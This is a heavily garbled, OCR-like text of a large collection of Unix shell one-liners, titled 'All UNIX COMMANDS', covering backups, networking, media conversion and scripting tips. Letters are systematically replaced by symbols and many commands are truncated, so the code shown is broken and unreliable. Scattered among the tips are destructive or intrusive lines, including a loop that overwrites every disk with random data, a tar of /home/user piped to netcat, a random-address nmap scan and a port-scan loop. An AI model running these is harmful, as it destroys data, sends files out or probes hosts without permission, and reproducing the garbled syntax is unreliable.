%ac)up_date 1KI_2t&> somedirs # svn di(( colori>ed svn di(( di((cmd=8colordi((8 # ;enerate random sensi%le pass*ords+ and copy them to the clip%oard *hile true do curl s http://sensi%lepass*ord2com/Vharder= 4 tail n Z 4 head n 4 sed s-%r/. 4 cut c Z 4 c% sleep done # netstat *ith &roup %y Eip adressG netstat ntu 4 a*) $Z X /'E::((((:4"W4BG/ &su%E8::((((:8+88+$ZG print $Z 4 cut d: ( 4 sort 4 uniP c 4 sort nr # asily run a pro&ram in the %ac)&round *ithout losin& output (unction (or) EG t(=$Etemp(ile d /tmp p $2Gecho n 8$t(
8 $7 F.$t(F
# ;et all shellcode on %inary (ile (rom o%Ddump o%Ddump d 2/RO;RAM4&rep "Wa(B:4&rep v (ile4cut (9 d:4cut ( d 4tr s 4 tr Lt 4sed s/ $//&4sed s/ /LL,/&4paste d s 4sed s/'/8/4sed s/$/8/& # ;et movie len&th mplayer vo null ao null (rames " identi(y movie2avi 4 a*) IS=8=8 /<60N;TH/ H=intE$9/U""G M=intEE$9HU""G/"G S=intE$9K"G print H8:8M8:8S # Hide comments nocomments EG cat $ 4 e&rep v ':space:BB#4':space:BB$4':space:BB 4 sed /-!2./d 4 sed /-!/+/./d # Oneliner to &et domain names list o( all e,istin& domain names E(rom *i)ipediaG curl s http://en2m2*i)ipedia2or&/*i)i/0isto(
All UNIX COMMANDS i(con(i& *lan" h* ether ""::99:UU:??:ZZ # calculate ho* much %o&omips one cpu core has Eassumin& you have ? coresG2 cat /proc/cpuin(o 4 &rep Qo&oM<S 4 uniP 4 sed s/'2://& 4 a*) printE$ / ?G # ;et current ^or& resolution via ,randr ,randr P 4 a*) Icurrent I+ NR== &su%E8E 4currentG8+88Gprint $9 # list all (ile e,tensions in a directory (ind /path/to/dir type ( 4 &rep o L2'2/B$ 4 sort 4 uniP
# 6isplays the version o( the Ado%e Ilash plu&in installed strin&s /usr/li%/(lashplu&innon(ree/li%(lashplayer2so 4&rep '0N^ # Jorld 3up 0ive Score *atch n" notitle 8*Um http://***2livescore2com/ 4e&rep live "WHB1' B8 # ,port a su%set o( a data%ase mysPldump *here=8true 0
All UNIX COMMANDS # Puit &vim remotely &vim remotesend 8:P!-3R.8 # ANS< Terminal 3olor Test usin& python colortestpython # *&et multiple (iles Eor mirrorG (rom NT0Mprotected Sharepoint httppro,y=http://9]2"2"2:U9 *&et httpuser=domainLaccount httppass*ord=### p r l noremovelistin& 2 http://sp2corp2com/teams/Team/Shared K9"6ocuments/Iorms/All
# Remove e,ecuta%le %it (rom all (iles in the current directory recursively+ e,cludin& other directories (ind 2 ! type d e,ec chmod , L # very Nth line position # ES6G sed n +$pnn (oo . (ooeveryUposition sed n 9+$pnn (oo . (ooeveryUposition9 sed n U+$pnn (oo . (ooeveryUpositionU # SPuish repeated delimiters into one echo 8hello::::there8 4 tr s : # &enerate a random " character pass*ord p*&en " # &enerate a ta%le o( " character random pass*ords # apache statistics &rep 8"/Sep/9"U8 access2lo&4 cut d (9 4 cut dB ( 4 a*) I: print $98:8$U 4 sort n) n)9 4 uniP c 4 a*) i( E$ . "G print $" # 3reate (ull %ac)ups o( individual (olders usin& (ind and tar&>ip
297 / 658
All UNIX COMMANDS (ind /mnt/stora&e/pro(iles/ ma,depth mindepth type d 4 *hile read d do tar(ile=_echo 8$d8 4 cut d 8/8 (Z_ destdir=8/local/%ac)updir/8 tar c>( $destdir/8$tar(ile8(ull2t&> $d done # Ii, the vi >sh %indin&s on u%untu sudo sed iori& /LEupL4do*nLG/s/'/#/ /etc/>sh/>shrc # phpdoc shortcut &ophpdocEG i( $# lt 9 B then echo $" - (ile . - title . pd( B return (i i( 8$U8 == pd( B then ot=6I:de(ault:de(ault else ot=HTM0:(rames:earthli (i phpdoc o $ot ( 8$8 t docs ti 8$98 # revent an <v address on an inter(ace (rom %ein& used as source address o( pac)ets2 ip addr chan&e 9"":d%::9::a% dev eth" pre(erredl(t " # sync t*o (olders e,cept hidden (iles rsync vau e,clude=2 SO@R3ATH/my(old TAR;TATH # chec) open ports E%oth ipv? and ipvG netstat plntu # 3reate incremental %ac)ups o( individual (olders usin& (ind and tar&>ip (ind /mnt/stora&e/pro(iles/ ma,depth mindepth type d 4 *hile read d do tar(ile=_echo 8$d8 4 cut d 8/8 (Z_ destdir=8/local/%ac)updir8 tar c>v( 8$destdir8/8$tar(ile8_date 1 KI_2t&> $d done # )ill a processEe2&2 con)yG %y its name+ use(ul *hen de%u&&in& con)y:G )ill _pido( con)y_ # ;enerate random < addresses nmap n iR " s0 4 cut d8 8 ( 9 # One liner to )ill a process *hen )no*in& only the port *here the process is runnin& )ill W _lso( t i :portnum%er_ # 3alculate N! echo $EE$EseP s "GGG # url shortner usin& &oo&les shortner api shorty EG curl s https://***2&oo&leapis2com/urlshortener/v/urlLV)eyL=A<Y H 3ontentType: application/Dson d 8lon&@rl8: 88$88 4 e&rep o http://&oo2&l/'8B # 3han&e a speci(ic value in a path echo /home/(oo/dir/%ar 4 a*) I/ v OIS=/ $U = 8dir98 # in& ,,,2,,,2,,,2,,, ip """"" times *ith si>e "9?%ytes pin& ,,,2,,,2,,,2,,, si>e "9? repeat """"" # [
All UNIX COMMANDS # Hidin& and Sho* (iles on Mac OS ^ set(ile a [ (oo2%ar set(ile a v (oo2%ar # 6irectory Tree (ind 2 type d print 4 sed e s'/B/2222222222&4a*) print $"8E8NR8G8
# Sort movies %y len&th+ lon&est (irst (or i in 2avi do echo n 8$i:8totem&streamervideoinde,er $i 4 &rep 6@RAT
All UNIX COMMANDS &it lo& ori&in/master22master nameonly pretty=8(ormat:8 4 sort 4 uniP 4 ,ar&s tar r( mytar(ile2tar # cho the contents o( a @rl alias echourl=8*&et PO 8 #
# ;et num%er o( users on a minecra(t server Eecho e L,(e sleep G 4telnet 0 $HOST< 9ZZZ 9./dev/null 4a*) IL,a] $9 print 8users: 8$98/8$U # Puivalent to i(con(i& a in H@^ (or i in _netstat rn4e&rep v 8
All UNIX COMMANDS # chec) the (uc)in& *eather \<=?"? curl http://the(uc)in&*eather2com/V>ipcode=$\< 9./dev/null4&rep A div class=8lar&e84tr Ln 4sed s/'28lar&e8 .LE22LG/L/s/Fd2 -%r L/./ /s/-%r L/.//s/-L/div2$// # (ind coordinates o( a location (indlocationEG place=_echo $ 4 sed s/ /K9"/&_ curl s 8http://maps2&oo&le2com/maps/&eoVoutput=DsonFoe=ut(FP=$place8 4 &rep e 8address8 e 8coordinates8 4 sed e s/' // e s/8//& e s/address/Iull Address/ # S[N script (or automatically addin& and deletin& (iles svn status 4 &rep 'V 4 sed e s/'V /svn add 8/& e s/$/8/&4sh svn status 4 &rep '! 4 sed e s/'! /svn delete 8/& e s/$/8/&4sh # Open in Te,tMate Side%ar (iles ErecursivelyG *ith names matchin& R;^A and not matchin& R;^Q mate _(ind type ( re&e, R;^A 4 &rep v R;^Q_ # Sho* recent earthPua)es in Qay Area lyn, *idth=9"" dump http://Pua)e2us&s2&ov/recentePs/Maps/SanIranciscoePs2htm4sed ne /MA;2/+/'Re(erences/s/L"WB"WBLB//+/h:m:s/d/Qac) to map/+$d/'$/d/' LtB LtBUWBL2"WB"WB LtB LtB/p 4sort )nr # Sho* 6eviceMapper names (or 0[M [olumes Eto disam%i&uate iostat lo&s+ etcG sudo lvdisplay 4a*) /0[ Name/%loc)dev=$U /Qloc) device/%did=$U su%E8" WB:8+8dm8+%didG print %did+%loc)dev # Sho* demo o( toilet (onts (ind /usr/share/(i&let name 2Vl( e,ec %asename toilet (
L 4 sed e 8s/L22l($//8 4 ,ar&s <
# &itB Output remote ori&in (rom *ithin a local repository &it con(i& local &et remote2ori&in2url # Ho* to e,tract Z""" records (rom each ta%le in MyS50 mysPldump opt *here=8true 0
All UNIX COMMANDS %ad%loc)s c ZZU o /tmp/%ad%loc)s2out p 9 s v * /dev/hd^ . /tmp/%ad%loc)s2stdout 9. /tmp/%ad%loc)s2stderr # set a reminder (or Z days in the (uture echo 86
# Iast search in man (iles or %>(iles %y )ey*ord direct %y man or %> (iles %>&rep l 83OMM
# Router discovery traceroute 9./dev/null n &oo&le2com 4 a*) /' /print $9e,it # A command to post a messa&e and an autoshortened lin) to T*itter2 The lin) shortenin& service is provide %y Tiny@R02 curl user 8@SRNAM:ASSJOR68 d status=8MSSA;;OSHR $Ecurl s http://tinyurl2com/apicreate2phpVurl=@R0;OSHRG8 d source=8c@R08 http://t*itter2com/statuses/update2Dson o /dev/null # Remove all unused )ernels *ith apt&et perl e chompE$)=_uname r_G (or E-/%oot/vm.G s/'2vmlinu>E$)GV// $l2=8linu,ima&e$ 8 system 8aptitude remove $l8 # na%le color pattern match hi&hli&htin& in &repEG e,port ;ROT
All UNIX COMMANDS ac)open EG local ,=8$Eac) l $ 4 ,ar&sG8 i( n $, BB then eval vim c 8/$B $,8 else echo 8No (iles (ound8 (i # Time conversion/(ormat usin& the date command date d 9"9Z "Z:?]:"W 18epoch: Ks or (ormat: K/Km/Kd8 # save stderr only to a (ile command U.F .F9 9.FU 4 tee (ile # Iind ho* (ar nested you are in su%shells echo 8< am $QASHS@QSH00 levels nested8 # eriodic 0o& 6eletion (ind /path/to/dir type ( mtime 1#B e,ec rm ( L # e,im statistics a%out mails (rom Pueue e,im %p 4 e,iPsumm c # Search &p& )eys (rom commandline &p& search)eys # Ma)e(ile ar&ument passin& ma)e tar&etB [AR=(oo%ar # Realy remove (ile (rom your drive (unction rrmEG (or i in $ do i( ( $i B then echo 8rrm rocessin& $i8 shred (orce remove >ero ver%ose $i else echo 83ant process $i8 type=$Estat 8$8 c KIG echo 8Iile $i is $type8 (i done # 3onvert ascii strin& to he, echo n te,t 4 perl pe s/E2G/sprint(E8LL,K,8+ ordE$GG/e& # ;enerate list o( *ords and their (rePuencies in a te,t (ile2 tr A\ a> 4 tr d 8:punct:BB:di&it:BB8 4 tr / Ln 4 sort 4 uniP c # auto complete ar&uments ls TAQBTAQB # Ho* to trim a video usin& ((mpe& ((mpe& i video2avi vcodec copy acodec copy ss "":"":"" t "":"":"? trimmedvideo2avi # list *ith (ull path ls d $J6/ # locatin& pac)a&es held %ac)+ such as *ith 8aptitude hold -pac)a&e.8 aptitude search Xahold # mean color o( an ima&e convert ima&e2Dp& resi>e , t,t: 4 tail 4 a*) &su%E/+LGB/+8 8G print $U1$?1$Z #
All UNIX COMMANDS # Mirror every lvol in v&"" in hpu, 2U (ind /dev/v&"" type % 4*hile read 0 do lve,tend m $0 /dev/dis)/-dis). done # Redirect %ash %uiltin output to stdout T
# ;enerate an ^Y36 #WU style ? *ord passphrase E(astG echo $Eshu( n? /usr/share/dict/*ordsG #
4A@TO4
4OII484osdcat p %ottom
# A trash (unction (or %ash trashput Dun)(older # Search speci(ied $T^T and Replace that %y speci(ied ar& E$T^T9G (ind 8$6
All UNIX COMMANDS # chec) spell in c source code &rep o h r 828 4 ispell l p X/mydict 4 sort u # Sum (ile si>es e,pr _(ind 2 type ( print( 8Ks 1 8"_ # recursive %ase? encodin& 3ipher (or the oor V str=pass*ord (or i in _seP "_ do echo e 8$strLn8 str=8$E%ase? --- $strG8 done # Remove all unused )ernels *ith apt&et sudo apt&et remove $Edp)& l4a*) /'ii linu,ima&e/print $94sed s/linu,ima&e//4a*) v v=_uname r_ v.$"4sed s/&enericpae//4a*) print(E8linu,headersKsLnlinu,headers Ks&enericLnlinu,ima&eKs&enericLn8+$"+$"+$"GG # send ra* data Ehe, *rittenGusin& @6 to an < and port echo n "9UUZ 4 perl pe s/E"Wa(B9G/chr he, $/&ie 4 nc ?u P pZ"" W922"2"" 9""" # ,ecute a command on multiple hosts in parallel (or host in host host9 hostU do ssh n user7$host -command. . $host2lo& F done *ait # ;ets the ^ Screen resolution RS=_,randr 4 &rep 4 sed s/LsLE"W,BLG2/L/_ echo $RS # Archive all (iles that have not %een modi(ied in the last days (ind /protocollo/pa(lo* type ( mtime 1Z 4 ,ar&s tar cv( /var/dumpprotocollo/_date 1KdKm Karchive2tar_ # Qi& E(our%yteG $RAN6OM print( Kd ",_dd i(=/dev/urandom %s= count=? 9./dev/null 4 od , 4 a*) NR== print $9$U_
# 6isa%le &raphical lo&in on Solaris /usr/dt/%in/dtcon(i& d # Analy>e a*) (ields tr 8 8 8Ln8 4 nl # ;et (ull @R0 via http://untr2im/api/aDa,/api @R0=tar&et2@R0B curl P d 8url=$@R08 http://untr2im/api/aDa,/api 4 a*) I hre(=8 print $U 4 a*) I 8 rel=8 print $ # list *ith (ull path ls d $J6/2+ # erl One 0iner to ;enerate a Random < Address perl e print( 8""::U:K"9^:K"9^:K"9^Ln8+ rand ",II+ rand ",II+ rand ",II # Output a SS0 certi(icate start or end date date date=8$Eopenssl ,Z"W in ,,,,,,2crt noout startdate 4 cut d= ( 9G8 iso" #
All UNIX COMMANDS d%ussend printreply dest=im2pid&in2purple2urpleService /im/pid&in/purple/urpleO%Dect im2pid&in2purple2urple
# shorten url usin& curl+ sed and is2&d 307 / 658
All UNIX COMMANDS curl s d @R0=8$8 http://is2&d/create2php 4 sed /our ne* shortened/!ds/2value=8L E'8BLG82/L/ # random ,)cd comic as ,ml curl s0 dynamic2,)cd2com/comic/random/ 4 a*) IL8 /'-im&/print(E8-V,ml version=L82"L8V .Ln-,)cd.Ln-item.Ln -title.Ks-/title.Ln -comment.Ks-/comment.Ln -ima&e. Ks-/ima&e.Ln-/item.Ln-/,)cd.Ln8+ $+ $?+ $9G # 6isplay error pa&es in report (ormat sudo a*) E$W X /?"?/G /var/lo&/httpd/***2domainaccesslo& 4 a*) print $9+$W+$]+$ 4 sort 4 uniP c # ;et si>e o( terminal alias termsi>e=echo $3O0@MNS , $0
All UNIX COMMANDS ((mpe& i movie2m)v tar&et vcd movie2avi # convert several Dp& into one pd( (ile convert 2Dp& IileOutput2pd( # tar a directory and send it to netcat tar c(v> /home/user 4 netcat l p """" # archlinu,: chec) *hich repository pac)a&es have updates availa%le pacman 5u # Iind out ho* old a *e% pa&e is curl
# colori>e comm output comm (ile (ile9 4 sed e s/''LtB2/L,%UUmFL,%"m/ e s/'Lt'LtB2/L,%UmFL,%"m/ e s/'LtLt'LtB2/L,%U9mFL,%"m/ # 6irectory %oo)mar)s %mEG e,port QM$V8%oo)mar) name missin&8=8$J68 (or&etEG unset QM$V8%oo)mar) name missin&8 # rename (iles accordin& to date created (or i in 2Dp& do dst=$Ee,i( t ",W""U m $i G FF dstesc=$Eecho $dst 4 sed s/ //& G FF echo mv $i $dstesc2Dp& done # 0int ;it unsta&ed H (iles &it status s 4 &rep o LSphp$ 4 *hile read ( do php l $( done # %ash or tcsh redirect %oth to stdout and to a (ile echo 8Hello Jorld28 4 tee a hello2t,t # list all opened ports on host time i=" *hile $EE i - ZZUZ GG eP B do nc >*9 localhost $EE11iGG FF echo port $i opened done # su%traction %et*een lines seP U 9" 4 sed n hdH,s/Ln/Lt/p 4 a*) print(E8Kd Kd = KdLn8+ $9+ $+ $9$G # 0ist the Si>es o( Iolders and 6irectories du h ma,depth= /path/(older/ # Turns hidden applications transparent in the Mac OS ^ doc)2 de(aults *rite com2apple26oc) sho*hidden %ool S # Mosco*M0 *ith edita%le inputline and history rl*rap mosml # ;et (irst ;it commit hash &it lo& pretty=(ormat:KH 4 tail # 0ist up&radea%le pac)a&es on @%untu 309 / 658
All UNIX COMMANDS apt&et i&norehold allo*unauthenticated s distup&rade 4 &rep '
# Replace spaces in a (ile *ith hyphens sed i s/ //& # (ind (iles %e&innin& *ith (ilename that do not include 8strin&8 &rep 0 8strin&8 (ilename # 3han&es a @ser ass*ord via command line *ithout promt echo e 8ne*pass*ordLnne*pass*ord8 4 Epass*d stdin $@SRG # A si&nal trap that lo&s *hen your script *as )illed and *hat other processes *ere runnin& at that time trap 8echo L8$" process $$ )illed on $EdateG2L8 4 tee $"##/$$termination2lo& echo Active processes at the time *ere lo&&ed to $"##/$$termination2lo& ps u .. $"##/$$termination2lo& e,it 8 H@
All UNIX COMMANDS # ;et all <s via i(con(i& i(con(i& 4 a*) I:4 1 /ddr:/print $? # Searches $ATH (or (iles usin& &rep
All UNIX COMMANDS Pd%us 4 &rep )screenloc)er&reet 4 ,ar&s < Pd%us /MainApplication Puit # 6isplay / vie* the contents o( the mani(est *ithin a Cava Dar (ile $ un>ip p someDar(ile2Dar MTA
# See all the commits (or *hich searchstrin& appear in the &it di(( &it lo& p > 4 perl ln"e print i( /1B2searchedstrin&/ # 3hec) i( the 6e%ian pac)a&e *as used since its installation/up&rade2 pac)a&e=$ list=/var/li%/dp)&/in(o/$pac)a&e2list inst=$Estat 8$list8 c K^G cat $list 4 E*hile read (ile do i( ( 8$(ile8 Bthen acc=$Estat 8$(ile8 c K^G i( $inst lt $acc B then echo used $(ile e,it " (i (i done e,it G # (ind (iles i&norin& 2svn and its decendents (ind 2 type d name 2svn prune o type ( print" 4 ,ar&s r" 222 # 3ount &it commits since speci(ic commit &it lo& pretty=oneline %Z%U22 4 *c l # 6rop%o, lo&in usin& only curl+ sed and %ash lin)=https://***2drop%o,2com/lo&in curl % a c coo)ie d 8t=$Ecurl c a $lin) 4 sed rn s/2TOYN: 8E'8BG2/L/pGFlo&inemail=meK?"yahoo2comFlo&inpass*ord=mypass*d8 $lin) # ;\ip all (iles in a directory separately (or (ile in 2(oo do &>ip 8$(ile8 done # convert *mv into ,vid avi (ormat mencoder ovc ,vid oac mpUlame srate ??"" a( lavcresample=??"" ,videncopts (i,edPuant=? Ioo2*mv o Qar2avi # Trim pn& (iles in a (older mo&ri(y trim pn& # list services runnin& Eas rootG service statusall 4 &rep runnin& # Have netcat listenin& on your ports and use telnet to test connection SR[R: nc l p 30<NT: telnet l p # ;\ip all (iles in a directory separately ls 4 ,ar&s n &>ip # 6[6Rip mplayer dvd:// dumpstream alan& es dump(ile 8$dir6estino8/8$titulo6[682mp& FF ((mpe& i 8$dir6estino/$titulo6[62mp&8 acodec li%mpUlame alan& spa vcodec li%,9? cr( 9 vpre hP threads " 8$dir6estino/$titulo6[62mp?8 # 6o*nload an ntire *e%site *ith *&et *&et m ) Y http://url/o(/*e%/site # lay radio stream *ith mplayer mplayer nolirc http://Z9ZU2live2streamthe*orld2com/[
All UNIX COMMANDS # 6o*nload all music (iles o(( o( a *e%site usin& *&et *&et r l H nd A mpU e ro%ots=o(( http://e,ample/url # search installed (iles o( pac)a&e+ that doesnt remem%er his name *ell2 On rpm systems rpm Pa 4 &rep A3YA;NAM 4 ,ar&s rpm P (iles%yp)& # add a %ac)up Eor any otherG su((i, to a (ile mv vi (ile+X # &et detailed in(o a%out a lan card on H@^ 2U n*m&r P in(o c lan" # 3hec) the pac)a&e is installed or not2 There *ill sho* the pac)a&e name *hich is installed2 dp)& l 4 cut d ( U 4 &rep 'python$ # [irtual%o,: setup hard*are [Qo,Mana&e modi(yvm 8vmname8 memory 9Z acpi on ioapic o(( pae on h*virte, on nestedpa&in& on # 0ist the Si>es o( Iolders and 6irectories du hs /path/to/(older/ # 6estroy all dis)s on system simultaneously (or i in _sudo /s%in/(dis) l 4&rep 6is) 4&rep dev 4a*) print $9 4sed s/://&_ do sudo /usr/%in/dd i(=/dev/urandom o(=$i %s=M F done # [ie* a sopcast stream Espsc sop://%ro)er2sopcast2com:UW9/""9 UW"" W"" F./dev/null FG sleep " mplayer http://localhost:W""/tv2as( # Num%er o( 3@s in a system &rep c 'processor /proc/cpuin(o
# Rin& the system %ell a(ter (inishin& a lon& script/compile my0on&Script FF echo e La 44 Eecho e La sleep echo e LaG # 3ompress a (ile or directory )eepin& the o*ner and permissions tar Dcv( /(older/(ile2tar2%>9 sameo*ner samepermissions /(older/ # @sin& scapy to &et the < o( the i(ace used to contact local &* Ei2e2 supposed host <G python c 8import scapy2all print ,?B (or , in scapy2all2con(2route2routes i( ,9B != "2"2"2"B"B8 # ,ecute a command %e(ore display the %ash prompt ROMT3OMMAN6=command # ;et listenin& ports on a localhost ss ln 4 a*) $UX/E"WB1G/print $U 4 sed s/2L:LE"WBL1LG$/L/ # Add the time to QASH prompt e,port S=8EL7G $S8 # print a (ile on a sin&le line echo $Ecat (ileG # ho* to allo* a pro&ram to listen throu&h the (ire*all 313 / 658
All UNIX COMMANDS netsh (ire*all add pro&rammaautori>>ato 3:Lnltest2e,e mltest ena%le # Recursive replace o( directory and (ile names in the current directory2 (or i in _(ind name oldname_ do 8mv $i $i/oldname/ne*name/8 done # 3leanup (ire(o,s data%ase2 (ind X/0i%rary/ApplicationL Support/Iire(o,/ type ( name 82sPlite8 e,ec sPliteU [A3@@M L # 0ist users *ith runnin& processes ps au, 4 sed n /@SR/!s/LE' BLG 2/L/p 4 sort u # 0ist open soc)ets protocol/address/port/state/<6/pro&ram name sudo netstat punta # ipe a te,t(ile to vim and move the cursor to a certain line >cat /usr/share/doc/vimcommon/RA6M2&> 4 vim & 19U # (loatin& point operations in shell scripts echo 8Z ) U Z / p8 4 dc # &eoip in(ormation &eoEG curl s 8http://***2&eody2com/&eoip2phpVip=$Edi& 1short $G84 sed /'<:/!ds/-'.B '.B.//& # [ie* All rocessess 3mdlines and nvironments cd /procFFps a opid=4,ar&s <1 sh c $<6 ne 1 BBFFecho e 8Ln1B8FFtr s 8L"""8 8 8-1/cmdlineFFechoFFtr s 8L"""L"UU8 8Ln8-1/environ4sort # Save a (ile you edited in vim *ithout the needed permissions :K!sudo tee K # 0ist all (iles in current dir and su%dirs sorted %y si>e tree i(s noreport 24sort n )9 # @se vi commands to edit your command lines set o vi ls l Dnu)-S3.%3Dun) # 3reate a directory and &o inside it m)dir dir cd $ # Rotate a pd( %y W" de&rees 3J pd(t) input2pd( cat end output output2pd( # su%traction %et*een lines seP U 9" 4 a*) TNRB=$ N6 (or Ei=i-=ENRGi11G print Ti1B+88+TiB+8=8 + Ti1BTiB # rint one 2 instead o( each line alias 222=*hile read line do echo n 828 done FF echo 88 # ;et the S@M o( visual %loc)ed di&its in vim vmap -ca. y:$-3R.o-sc.map-sc.:a+$!a*) sum1=$"N6print 8S@M:8 sum-3R.dd.p # Sort a character strin& echo sortmeplease 4 &rep o 2 4 sort 4 tr d Ln echo
# Ho* to chec) net*or) connection (rom one inter(ace 314 / 658
All UNIX COMMANDS pin& < eth" ***2yahoo2com # 3onsole cloc) *hile sleep do echo n 8Lr_date_8 done # e,port iad App list to t,t (ile ls 8X/Music/iTunes/iTunes Media/Mo%ile Applications8 . (ilepath # [ie* any archive als some2Dar # Simulate typin& %ut *ith mista)es echo e 8ou are a Der)L%L%L%L%*onder(ul person8 4 pv P0 $"1E9 1 RAN6OMKZGB # ps&repp ps au, 4 &rep $Eecho $ 4 sed 8s/'LE2LG/LB/&8G # ,port OM0 (rom ;oo&le Reader e,portopmlEG curl sH 8Authori>ation: ;oo&le0o&in auth=$Ecurl sd 8mail=$Fass*d=$9Fservice=reader8 https://***2&oo&le2com/accounts/3lient0o&in 4 &rep Auth 4 sed s/Auth=LE2LG/L/G8 http://***2&oo&le2com/reader/su%scriptions/e,port # Addin& speci(ic 3ustom0o& (or each [irtual 6omain o( Apache (or arPuivo in _ls _ do sed i /rror0o&/aL L L L L L L L 3ustom0o& L/varL/lo&L/apache9L/access8$(ile8lo& com%ined /root/site%a)/$(ile done # 3reate a tar archive usin& ,> compression tar cv( /path/to/tar/up 4 ,> . myTarArchive2tar2,> # QourneShell: ;o to previous directory cd # Qest option set (or ]>ip compression o( data%ase dumps or &eneric te,t (iles ]>r a m,=W ms=on mhc=on mtc=o(( d%%ac)up2sPl2]> d%dump2sPl # Sho* *ord%y*ord di((erences %et*een t*o late, (iles+ in color d*di(( c a2te, %2te, 4 less R # ncode a strin& usin& ROT?] echo 8your strin& here8 4 tr L!X XL!O # mail a (ile to yoursel( echo 8This is the messa&e %ody8 4 mutt s 8Messa&e su%Dect8 a (iletoattach2>ip (red7e,ample2com # Sho* directories ls l 4 &rep 'd # count ho* many cat processes are runnin& ps a 4 &rep c cat # Iirst (ile editor (or ne*%ies cat . (ile2t,t -- OI # Apply (ade e((ect to a audio so, input2mpU output2mpU (ade h Z "":"9:Z Z # Sho* cronta%s (or all users (or i in /var/spool/cron/ta%s/ do echo $i##/ sed s/'/Lt/ $i echo done 315 / 658
All UNIX COMMANDS # &ra% all o( &oo&le <v? net*or) %loc)s host t T^T net%loc)s2&oo&le2com 222 # (ind distro name / release version $ cat /etc/release # 3om%ine t*o mpUs or more into lon& mpU cat 2mpU 92mpU . com%ined2mpU # Qe noti(ied a%out overheatin& o( your 3@ and/or mother%oard sensors 4 &rep 83ore 8 4 _sed e s/'21LE"WBL9+ULLG2E2/L/_ &t Z" BB FF noti(y send 83ore temperature e,ceeds Z" de&rees8 # 0ast month 0ASTMONTH=_date d 8last month8 1KQ_ # Tell *hat is encoded in a (loat+ &iven its H^ %ytes dc e8iVdsH"sP9d]'ss'dse9/stdlsle/99Q1an I
# Split hu&e (ile into 6[61R si>e chun)s (or %urnin& split % ?]"""""""" (ile2im&2&> (ile2im&2&>2 # 3onsole cloc) Qeauti(ul yes clearprint( 8LnLn_date_Ln8 4 (i&let ( star*arssleep 4 sh # Sort lines on clip%oard ,clip o selection clip%oard 4 sort 4 ,clip i selection clip%oard # er(orm a 3style loop in Qash2 (or EE i = " i - "" i11 GG do echo 8$i8 done # asy to e,tend oneliner (or cron scripts that automate (ilesystem chec)in& E di $TOIS3Y h /%in/umount $TOIS3Y time /s%in/e9(sc) y ( v $IS3Y6[ /%in/mount $TOIS3Y G 4F /%in/mail $MA<0TO s 8$MA<0S@Q8 # Send remote command output to your local clip%oard command 4 ssh myHost ,sel i display :" # erl 3ommand 0ine
All UNIX COMMANDS lspci 4&rep [;A # &p& decrypt several (iles &p& allo*multiplemessa&es decrypt(iles # Remote mysPl dump all data%ases *ith ssh mysPldump u user p alldata%ases 4 ssh user7host dd o(=/opt/alldata%ases2dump # 6elete speci(ic remote ori&in %ranch &hpa&es &it push ori&in :&hpa&es # 3ompose 9 ima&es to composite &eometry W,W19Z"1]" (ore&round2Dp& %ac)&round2Dp& ima&e2Dp& # 0ist empty any directories ls ld /E/'IG # Mer&e 6Is *ith ;hostscript *rapped in a (unction mer&epd(EG &s P dNOA@S dQAT3H s6[<3=pd(*rite sOutputIile=mer&ed2pd( 8$78 # 3onvert outu%e videos to MU url=8puturlhere8audio=$Eyoutu%edl s e $urlG*&et P O _youtu%edl & $url_4 ((mpe& i ( mpU vn acodec li%mpUlame . 8$audio2mpU8 # Test python re&ular e,pressions r&,matchEG python c 8import re print re2searchE$+$9G2&roupsEG8 # Sho* availa%le conversions recode l 4less # disa%le history (or current shell session H
# Summary o( dis) usa&e+ e,cludin& other (ilesystems+ summarised and sorted %y si>e du ,)s 4 sort n # Jatch a di& in pro&ress *atch n di& &oo&le2com # converts a directory (ull o( source tar%alls into a %>r repository so you can compare di((erent versions easily %>r init 2(or (ile in _ls 2%>9_ do %>r import $(ile %>r ci m $(ile done # ;et (ree RAM in K (ree m 4 a*) /cache:/ print(E8KdKLn8+$U/E$U1$?G""G # Qtr(s: Iind (ile names *ith chec)sum errors 317 / 658
All UNIX COMMANDS dmes& 4 &rep o csum (ailed inoLS Ld1 4 a*) print $? 4 sort u 4 ,ar&s n (ind / inum 9. /dev/null # do*nload the contents o( a remote (older in the current local (older *&et r l np nd http://yoururl2com/your(older/ # @se mdZsum to chec) your music and movie (iles2 Also use di((2 (ind 2 type ( e,ec mdZsum L . -(ilename. # Jatch and cat the last (ile to enter a directory *atch 8cat _ls rcA 4 tail n_8 # de%ian/u%untu &et installed nvidia driver version (rom terminal dp)& status nvidiacurrent 4 &rep [ersion 4 cut ( d 4 sed s/'2+"WB//& # To (ind the 06A clients connected to 06A service runnin& on Solaris netstat n ( inet4a*) /L2UW/print $94cut (? d24sort u # Puic) inte&er 3@ %enchmar) echo 9'9'9" 4 time %c . /dev/null # Addin& 3olor scape 3odes to &lo%al 33 array (or use %y echo e declare a, 33 (or i in _seP " ]_do ii=$EE$i1]GG 33$iB=8L"UUU$im8 33$iiB=8L"UU"U$im8 done # dump the *hole data%ase mysPldump u @NAM p 6QNAM . I<0NAM # ;reets the user appropriately echo 89 mornin&LnZ a(ternoonLn9? evenin&8 4*hile read t & do i( _date 1KH_ lt $t B then echo 8;ood $&8 %rea) (i done # 6elete Mailer6aemon messa&es mailP 4 &rep MA<0R6AMON 4 a*) print $ 4 tr d 4 postsuper d # ssh ^ tunnelin& over multiple ssh hosts Ethrou&h ssh pro,yG ssh t ^ A user7sshpro,y ssh ^ A user7sshhost # recursively chan&e (ile name (rom uppercase to lo*ercase Eor viceversaG (ind 2 depth print e,ecdir rename ( y/A\/a>/ L # 3ount lines o( source code e,cludin& %lan) lines and comments sloccount -directory. # return a titlecased version o( the strin&str2titleEG in pythonB titleEG sed s/L-L*/LuF/& ---$7 # This allo*s you to (ind a strin& on a set o( (iles recursivly &rep rI include=2t,t strin&ou0oo)Ior # print a pythonscript Eor any other codeG *ith synta,hi&hli&htin& and no loss o( indentation a9ps R columns= M A? mypro&2py o 4lpr # 3ount all the (iles in the directory and child directories ls d / 4 *c l # [ie* internet connection activity in a %ro*ser lso( ni 4 t,t9html . X/lso(2html 4 &nomeopen lso(2html 318 / 658
All UNIX COMMANDS # 3reate iso ima&e o( cd/dvd dd i(=/dev/cdrom o(=X/cdima&e2iso # list any 0inu, (iles *ithout users or &roups sudo (ind / LE nouser o no&roup LG
# 5uic)ly create an alias (or chan&in& into the current directory (unction mapEG n 8$8 B FF alias $=8cd _p*d_8 44 alias 4 &rep 8cd 8 # Remove Suspend option (rom ^I3 lo&o(( dialo& ,(con(Puery c ,(ce?session np /shutdo*n/Sho*Suspend t %ool s (alse # ncode te,t in Qase? usin& erl perl e use M
# list all (iles in si>e order lar&est last # list all (iles in si>e order lar&est last
